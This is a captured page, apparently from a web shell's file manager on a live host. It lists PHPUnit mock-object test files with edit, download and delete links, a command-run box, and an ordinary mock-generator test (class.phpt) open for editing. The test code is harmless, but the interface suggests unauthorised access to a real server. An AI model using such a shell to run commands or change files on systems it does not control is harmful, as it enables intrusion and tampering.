/
var
/
www
/
vhosts
/
nabawater
/
vendor
/
phpunit
/
phpunit-mock-objects
/
tests
/
MockObject
/
Generator
/
/var/www/vhosts/nabawater/vendor/phpunit/phpunit-mock-objects/tests/MockObject/Generator
mkdir
upload
Name
Size
Mode
Actions
232.phpt
2876
0664
edit
dl
rm
abstract_class.phpt
3690
0664
edit
dl
rm
class.phpt
3130
0664
edit
dl
rm
class_call_parent_clone.phpt
1984
0664
edit
dl
rm
class_call_parent_constructor.phpt
1961
0664
edit
dl
rm
class_dont_call_parent_clone.phpt
1959
0664
edit
dl
rm
class_dont_call_parent_constructor.phpt
1961
0664
edit
dl
rm
class_implementing_interface_call_parent_constructor.phpt
2040
0664
edit
dl
rm
class_implementing_interface_dont_call_parent_constructor.phpt
2040
0664
edit
dl
rm
class_partial.phpt
2586
0664
edit
dl
rm
class_with_method_named_method.phpt
2284
0664
edit
dl
rm
class_with_method_with_variadic_arguments.phpt
2808
0664
edit
dl
rm
interface.phpt
2515
0664
edit
dl
rm
invocation_object_clone_object.phpt
3146
0664
edit
dl
rm
namespaced_class.phpt
3167
0664
edit
dl
rm
namespaced_class_call_parent_clone.phpt
2009
0664
edit
dl
rm
namespaced_class_call_parent_constructor.phpt
1986
0664
edit
dl
rm
namespaced_class_dont_call_parent_clone.phpt
1984
0664
edit
dl
rm
namespaced_class_dont_call_parent_constructor.phpt
1986
0664
edit
dl
rm
namespaced_class_implementing_interface_call_parent_constructor.phpt
2065
0664
edit
dl
rm
namespaced_class_implementing_interface_dont_call_parent_constructor.phpt
2065
0664
edit
dl
rm
namespaced_class_partial.phpt
2617
0664
edit
dl
rm
namespaced_interface.phpt
2546
0664
edit
dl
rm
nonexistent_class.phpt
1983
0664
edit
dl
rm
nonexistent_class_with_namespace.phpt
1972
0664
edit
dl
rm
nonexistent_class_with_namespace_starting_with_separator.phpt
1973
0664
edit
dl
rm
nullable_types.phpt
2628
0664
edit
dl
rm
proxy.phpt
3262
0664
edit
dl
rm
return_type_declarations_nullable.phpt
2649
0664
edit
dl
rm
return_type_declarations_object_method.phpt
2674
0664
edit
dl
rm
return_type_declarations_self.phpt
2638
0664
edit
dl
rm
return_type_declarations_static_method.phpt
2312
0664
edit
dl
rm
return_type_declarations_void.phpt
2605
0664
edit
dl
rm
scalar_type_declarations.phpt
2638
0664
edit
dl
rm
wsdl_class.phpt
884
0664
edit
dl
rm
wsdl_class_namespace.phpt
916
0664
edit
dl
rm
wsdl_class_partial.phpt
808
0664
edit
dl
rm
Edit:
/var/www/vhosts/nabawater/vendor/phpunit/phpunit-mock-objects/tests/MockObject/Generator/class.phpt
(3130B)
--TEST-- PHPUnit_Framework_MockObject_Generator::generate('Foo', array(), 'MockFoo', true, true) --FILE-- <?php class Foo { public function bar(Foo $foo) { } public function baz(Foo $foo) { } } require __DIR__ . '/../../../vendor/autoload.php'; $generator = new PHPUnit_Framework_MockObject_Generator; $mock = $generator->generate( 'Foo', array(), 'MockFoo', true, true ); print $mock['code']; ?> --EXPECTF-- class MockFoo extends Foo implements PHPUnit_Framework_MockObject_MockObject { private $__phpunit_invocationMocker; private $__phpunit_originalObject; private $__phpunit_configurable = ['bar', 'baz']; public function __clone() { $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationMocker(); } public function bar(Foo $foo) { $arguments = array($foo); $count = func_num_args(); if ($count > 1) { $_arguments = func_get_args(); for ($i = 1; $i < $count; $i++) { $arguments[] = $_arguments[$i]; } } $result = $this->__phpunit_getInvocationMocker()->invoke( new PHPUnit_Framework_MockObject_Invocation_Object( 'Foo', 'bar', $arguments, '', $this, true ) ); return $result; } public function baz(Foo $foo) { $arguments = array($foo); $count = func_num_args(); if ($count > 1) { $_arguments = func_get_args(); for ($i = 1; $i < $count; $i++) { $arguments[] = $_arguments[$i]; } } $result = $this->__phpunit_getInvocationMocker()->invoke( new PHPUnit_Framework_MockObject_Invocation_Object( 'Foo', 'baz', $arguments, '', $this, true ) ); return $result; } public function expects(PHPUnit_Framework_MockObject_Matcher_Invocation $matcher) { return $this->__phpunit_getInvocationMocker()->expects($matcher); } public function method() { $any = new PHPUnit_Framework_MockObject_Matcher_AnyInvokedCount; $expects = $this->expects($any); return call_user_func_array(array($expects, 'method'), func_get_args()); } public function __phpunit_setOriginalObject($originalObject) { $this->__phpunit_originalObject = $originalObject; } public function __phpunit_getInvocationMocker() { if ($this->__phpunit_invocationMocker === null) { $this->__phpunit_invocationMocker = new PHPUnit_Framework_MockObject_InvocationMocker($this->__phpunit_configurable); } return $this->__phpunit_invocationMocker; } public function __phpunit_hasMatchers() { return $this->__phpunit_getInvocationMocker()->hasMatchers(); } public function __phpunit_verify($unsetInvocationMocker = true) { $this->__phpunit_getInvocationMocker()->verify(); if ($unsetInvocationMocker) { $this->__phpunit_invocationMocker = null; } } }
Save
cmd:
run